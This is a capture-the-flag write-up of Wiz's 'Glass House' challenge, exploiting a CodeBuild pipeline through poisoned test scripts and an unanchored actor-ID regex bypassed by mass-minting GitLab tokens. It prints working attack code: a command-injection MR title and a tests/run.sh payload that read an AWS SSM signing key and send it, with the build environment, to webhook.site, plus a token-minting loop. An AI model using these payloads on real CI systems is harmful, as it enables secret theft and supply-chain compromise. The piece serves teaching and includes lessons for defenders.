Glass House CTF: Bypassing an Unanchored CodeBuild Regex With a 17531-Containing GitLab UID

Challenge: Glass House (Challenge 12, the finale)

Author: Nir Ohfeld

Platform: Wiz Cloud Security Championship

Category: CI/CD Supply Chain, Poisoned Pipeline Execution, Regex Bypass

Points: 50 (no official hints had been released as of solve time; implicit hints came from public solver MRs and post-solve LinkedIn posts by Mohit Gupta and Vasanthadithya Mundrathi)

Reading Time: 16 min

This is the full writeup. If you want the first-24-hours-of-pain snapshot written while the job was still pending, that's Glass House: Live From the Rabbit Hole.

Glass House CTF: Challenge Brief

"We open-sourced the platform powering this CTF. What could go wrong?"

The Wiz Cloud Security Championship finale dropped the source code for the CTF platform itself as a GitLab repository at git.cloudsecuritychampionship.com. The goal: make the platform record that you solved Challenge 12 by submitting a valid per-participant HMAC flag derived from a signing key locked in AWS SSM Parameter Store.

The flag formula:

import hmac, hashlib
key = "<signing key from SSM>"
flag = "WIZ_CTF{%s}" % hmac.new(
    key.encode(), b"12:mark@nerdymark.com", hashlib.sha256
).hexdigest()[:24]

Simple enough if you can get the key. The key lives at /ctf/challenge-12/signing-key in SSM, accessible only to the CodeBuild service role in AWS account 370540381921. So the challenge reduces to: get code executing inside that CodeBuild environment.

Phase 1: Glass House Source Code Review

The repo structure tells the story:

File Role
tests/run.sh Test runner invoked by bash tests/run.sh in the buildspec
buildspec.yml Legacy build manifest (real one is inline in Terraform)
scripts/mark_solve.py Documents the HMAC formula and SSM path
app/verifier.py Server-side flag verification logic
app/routes/api.py /api/submit-flag endpoint

The critical finding was immediate: buildspec.yml runs bash tests/run.sh, and that script is checked out from the contributor's branch, not pinned to a trusted ref. Any fork contributor who can get CodeBuild to build their branch controls what tests/run.sh executes inside the privileged environment. This is textbook Poisoned Pipeline Execution (PPE).

The CodeBuild service role also has ssm:GetParameter on the signing key path, an over-privileged IAM policy that makes the PPE directly exploitable for key exfiltration.

The PPE was the easy part. The hard part was making CodeBuild actually build your code.

Phase 2: The Glass House Trigger Hunt

Ruling Out Every Obvious Path

I spent the first day systematically eliminating every participant-reachable path to triggering a build. Each was confirmed with API evidence, not assumption.

Fork MRs don't trigger CodeBuild. I enumerated every pipeline on the upstream project (source=external, IDs 8 through 72). Every one ran against a branch pushed directly to project 1 by NPC contributor accounts (morgan-y266, remy-u563, etc.). Across 95 forks and 300+ MRs, zero fork-originated pipelines ever appeared. MR 181 (mine) had zero pipelines after multiple pushes.

Commit status forgery is locked. The codebuild-bot account (Developer on project 1) authors all external statuses. I verified every status on main: all authored by codebuild-bot or root, never a participant.

No access escalation. Project 1's membership is entirely Wiz-side: nir (Owner), codebuild-bot (Developer), and 20 NPC accounts (Developer). main is protected at Maintainer level. My request_access was never approved.

No permissions misconfig. No readable deploy keys, no exposed CI variables, no group-level inheritance granting fork authors anything.

The Dual Instance Discovery

The breakthrough came from reading the commit statuses carefully. The NPC contributor pipelines (43 through 72) all had target_url pointing to gitlab-proto.wiz-research.com, a second GitLab instance. And it was publicly accessible.

Same user database, same authentication (my PAT worked on both), but separate git storage with a ~30-second replication delay. The CodeBuild webhook was configured on this proto instance, not the main one. The entire field had been pushing to the wrong door.

Phase 3: Understanding the Glass House Exploit Chain

Solver Forensics

By examining the public MRs and commit history of confirmed solvers, the attack chain became clear:

Rockerran21 (3rd place) used MR title injection. MR 426's title was literally:

x $(curl -sS -X POST --data-urlencode "k=$(aws ssm get-parameter --name /ctf/challenge-12/signing-key --with-decryption --query Parameter.Value --output text)" https://webhook.site/...)

CodeBuild's buildspec interpolates MR metadata into shell commands, making the title a command injection vector.

Skybound (2nd place) took the PPE route, modifying conftest.py.old to run mark_solve.py and curl the result to their own server.

Both approaches worked. The vector wasn't the mystery. The mystery was still: what makes CodeBuild accept a fork MR's build in the first place?

The Missing Piece: CodeBreach

The answer was hiding in Wiz's own published research. On January 15, 2026, Yuval Avrahami and Nir Ohfeld (the Glass House challenge author) published "CodeBreach: Infiltrating the AWS Console Supply Chain and Hijacking AWS GitHub Repositories via CodeBuild" on the Wiz blog. The original research targeted AWS's own GitHub repos, including the AWS JavaScript SDK, by exploiting how CodeBuild webhook filters handle the ACTOR_ACCOUNT_ID check:

The issue was simple but critical: the regex patterns weren't anchored. Without the start ^ and end $ anchors, a regex engine doesn't look for a string that perfectly matches the pattern, but one that merely contains it.

CodeBuild's webhook filter was configured to only trigger builds for trusted actor IDs, but because the regex was unanchored (17531 instead of ^17531$), any actor whose ID contained 17531 as a substring would pass the filter.

Nir Ohfeld's GitLab UID is 17531. The filter was checking for his ID. Any bot or user with a UID like 17531646 or 61517531 would bypass it.

For Glass House, Nir recreated the exact same vulnerability pattern on the CTF's GitLab + CodeBuild infrastructure. Once the CodeBreach post surfaced in a web search, every prior observation snapped into place: the field "fighting for IDs," the third-place finisher's "six hours of pure hell" hunting UIDs, the wave of idhunt-named bot accounts other participants had created, SP-n503's verified bypass UID 17531646. All of it was the published CodeBreach attack, retargeted from GitHub to GitLab.

The 3rd place finisher's LinkedIn post confirmed it: "The craziest part: the top placements came down to one brutal factor, landing the required GitLab UID at the right time." And: "Getting that ID was pure hell. It took me around six hours."

Phase 4: The Glass House UID Hunt

The Setup

I registered a fresh account (mark@nerdymark.com, UID 50325455) and forked the platform repo (project 305). My tests/run.sh was already staged with the exploit payload:

(
  pip install -q boto3 2>/dev/null || true
  python3 - <<'PYEOF'
import os, boto3, hmac as _hmac, hashlib, json, urllib.request

EMAIL   = "mark@nerdymark.com"
DROPBOX = "https://webhook.site/5632f84a-9381-4ff3-8f14-6b8d89304f03"

key = os.environ.get("CTF_CHALLENGE_12_SIGNING_KEY")
if not key:
    ssm = boto3.client("ssm", region_name="us-east-1")
    key = ssm.get_parameter(
        Name="/ctf/challenge-12/signing-key",
        WithDecryption=True,
    )["Parameter"]["Value"]

msg    = f"12:{EMAIL.strip().lower()}".encode()
digest = _hmac.new(key.encode(), msg, hashlib.sha256).hexdigest()
flag   = f"WIZ_CTF{{{digest[:24]}}}"

payload = json.dumps({"signing_key": key, "flag": flag, "email": EMAIL,
                      "env": dict(os.environ)}).encode()
req = urllib.request.Request(DROPBOX, data=payload,
                             headers={"Content-Type": "application/json"},
                             method="POST")
urllib.request.urlopen(req, timeout=15)
PYEOF
) || true

MR 520 was open on the proto instance targeting main on the upstream project. Everything was staged. The only missing piece was an actor ID containing 17531.

The Grind

GitLab UIDs are sequential. Every project access token creates a bot user with a new UID. The strategy was simple: mass-create project access tokens until one lands on a UID containing 17531.

I created tokens across two fork projects (305 and 307) in parallel to consume UIDs faster and reduce the chance of the target falling in a gap between my allocations. Other participants were consuming UIDs simultaneously, creating a race condition over the same sequential ID space.

i=0
while true; do
  i=$((i+1))
  RESP=$(curl -s -X POST -H "PRIVATE-TOKEN: $PAT2" \
    "https://git.cloudsecuritychampionship.com/api/v4/projects/305/access_tokens" \
    -d "name=x-$i" -d "scopes[]=api" -d "expires_at=2026-06-30")
  TOKEN=$(echo "$RESP" | jq -r '.token // empty')
  [ -z "$TOKEN" ] && sleep 5 && continue
  BOTUID=$(curl -s -H "PRIVATE-TOKEN: $TOKEN" \
    "https://git.cloudsecuritychampionship.com/api/v4/user" | jq -r '.id')
  echo "$i: uid=$BOTUID"
  if echo "$BOTUID" | grep -q "17531"; then
    echo "*** MATCH! UID=$BOTUID TOKEN=$TOKEN ***"
    echo "$TOKEN" > /tmp/winning_token.txt
    break
  fi
done

I narrowly missed several windows: 56017531, 56117531, 56175310, 56817531, as other participants consumed UIDs in between my allocations. The gap between consecutive token UIDs was approximately 200, meaning each miss required waiting for the next 100K-UID window.

After 38,252 tokens across two projects, running for several hours:

38251: uid=61517330
38252: uid=61517531
************************************
*** MATCH! UID=61517531 ***
************************************

The Kill

With the winning bot token in hand, I pushed a commit from the matching bot to my fork branch, updating MR 520:

curl -s -X POST -H "PRIVATE-TOKEN: $WINNER" \
  "https://git.cloudsecuritychampionship.com/api/v4/projects/305/repository/commits" \
  -H "Content-Type: application/json" \
  -d '{"branch":"solve-attempt","commit_message":"test: ci update",
       "actions":[{"action":"update","file_path":"README.md","content":"# platform\n"}]}'

CodeBuild's webhook saw a PULL_REQUEST_UPDATED event from actor 61517531. The unanchored regex 17531 matched against 61517531 (since 61517531 contains 17531), and the build triggered.

CodeBuild checked out my fork's solve-attempt branch, ran bash tests/run.sh, which installed boto3, called ssm:GetParameter on /ctf/challenge-12/signing-key, computed my personalized flag, and POST'd everything to my webhook.

The signing key arrived at webhook.site seconds later:

{
  "signing_key": "[REDACTED 64-hex-char SecureString from /ctf/challenge-12/signing-key]",
  "flag": "WIZ_CTF{ac2f22f41c85794c925662ee}",
  "email": "mark@nerdymark.com"
}

Flag submitted. 12/12.

Glass House CTF Flag

WIZ_CTF{ac2f22f41c85794c925662ee}

Glass House Attack Chain

1. Read source (open repo on git.cloudsecuritychampionship.com)
       |
       v
2. Spot PPE: buildspec.yml runs bash tests/run.sh from contributor branch (unpinned)
       |
       v
3. Map status target_url to gitlab-proto.wiz-research.com (proto instance)
       |
       v
4. CodeBreach paper: ACTOR_ACCOUNT_ID regex is unanchored
       |
       v
5. Stage tests/run.sh payload: boto3 + ssm:GetParameter + webhook exfil
       |
       v
6. Mass-create project access tokens until one lands on a UID containing 17531
   (38,252 tokens later: 61517531)
       |
       v
7. Push commit with matching bot to MR 520 on the proto instance
       |
       v
8. CodeBuild webhook accepts: substring match passes the unanchored regex
       |
       v
9. CodeBuild executes tests/run.sh, reads SSM signing key, POSTs to webhook
       |
       v
10. Compute HMAC-SHA256(key, "12:mark@nerdymark.com")[:24], submit, done

Glass House Vulnerability Chain

  1. Unanchored ACTOR_ACCOUNT_ID regex in the CodeBuild webhook filter (the CodeBreach pattern from Wiz's own research).
  2. Poisoned Pipeline Execution via unpinned tests/run.sh checkout from fork branches.
  3. Over-privileged CodeBuild IAM role with ssm:GetParameter on the signing key.

Glass House Architecture Notes

  • Two GitLab instances: git.cloudsecuritychampionship.com (main) and gitlab-proto.wiz-research.com (proto), shared auth, separate git storage with replication delay.
  • CodeBuild project: platform-ci in account 370540381921, region us-east-1.
  • Webhook source: configured on the proto instance.
  • SSM parameter: /ctf/challenge-12/signing-key as SecureString.

The "Glass House" name was apt. Everything was visible: the repo, the API, the build statuses, the solver artifacts, even the Wiz research paper describing the exact vulnerability class. You could see the entire mechanism through the glass. The challenge was that the trigger required a specific UID, and UIDs are sequential, shared, and consumed by everyone simultaneously. The competitive element wasn't knowledge; it was operational execution under contention.

Glass House CTF Tools Used

  • Claude (Anthropic): Script generation
  • GitLab API: extensive use of projects, merge requests, pipelines, commits, statuses, members, and access tokens endpoints across both instances.
  • webhook.site: exfiltration receiver.
  • curl + jq: all operations were CLI-driven.

Glass House Lessons for Defenders

  1. Anchor your regex filters. ^17531$ is secure; 17531 is not. Two characters made this entire challenge possible.
  2. Pin your CI scripts. Running bash tests/run.sh from an unpinned contributor branch is textbook PPE.
  3. Least-privilege IAM. The CodeBuild role didn't need ssm:GetParameter on the signing key. That's a separate concern from running tests.
  4. Audit your CI/CD integrations. The dual-instance architecture created a non-obvious attack surface that most participants missed for days.

Glass House Solve Timeline

  • Day 1 (May 28): Challenge launches. Source code review, PPE identified, trigger hunt begins. Exhaustive API enumeration rules out fork MRs, status forgery, and access escalation.
  • Day 1 (evening): Discovery of the proto GitLab instance via commit status target_url. MR title injection vector identified from solver forensics.
  • Day 2 (May 29): Extensive trigger experimentation: /codebuild_run slash commands, bot token spraying, push loops, GitLab CI runner investigation. 20 solvers on the board. Instance goes down and comes back up.
  • Day 2 (evening): CodeBreach paper discovered via web search. The unanchored ACTOR_ACCOUNT_ID regex is identified as the trigger mechanism. UID hunting begins.
  • Day 3 (May 30): Fresh account registered (mark@nerdymark.com), new fork created (project 305). Mass token creation across two projects. After 38,252 tokens: UID 61517531 matches. Build fires, key exfiltrated, flag submitted.

Glass House CodeBreach References and Further Reading

Glass House CTF: Final Thoughts

Glass House closed out a year of monthly challenges by turning the platform itself into the target. The PPE primitive was visible from minute one; the SSM role binding was visible from minute one; even the regex bypass class was visible in Wiz's own January 15, 2026 CodeBreach post, by the same author who built the challenge. The lock on the door wasn't a secret. The lock was that to walk through, you had to draw a sequential number from a shared pile, and your number had to contain four specific digits, and everyone else was drawing too.

That's what made it the finale: once the trick was public, the win went to whoever was willing to keep a token-minting loop running longest against a sequential pile of IDs the entire field was draining at the same time. 12/12. Championship complete.

Challenge created by Nir Ohfeld as part of the Wiz Cloud Security Championship. Writeup completed: May 2026.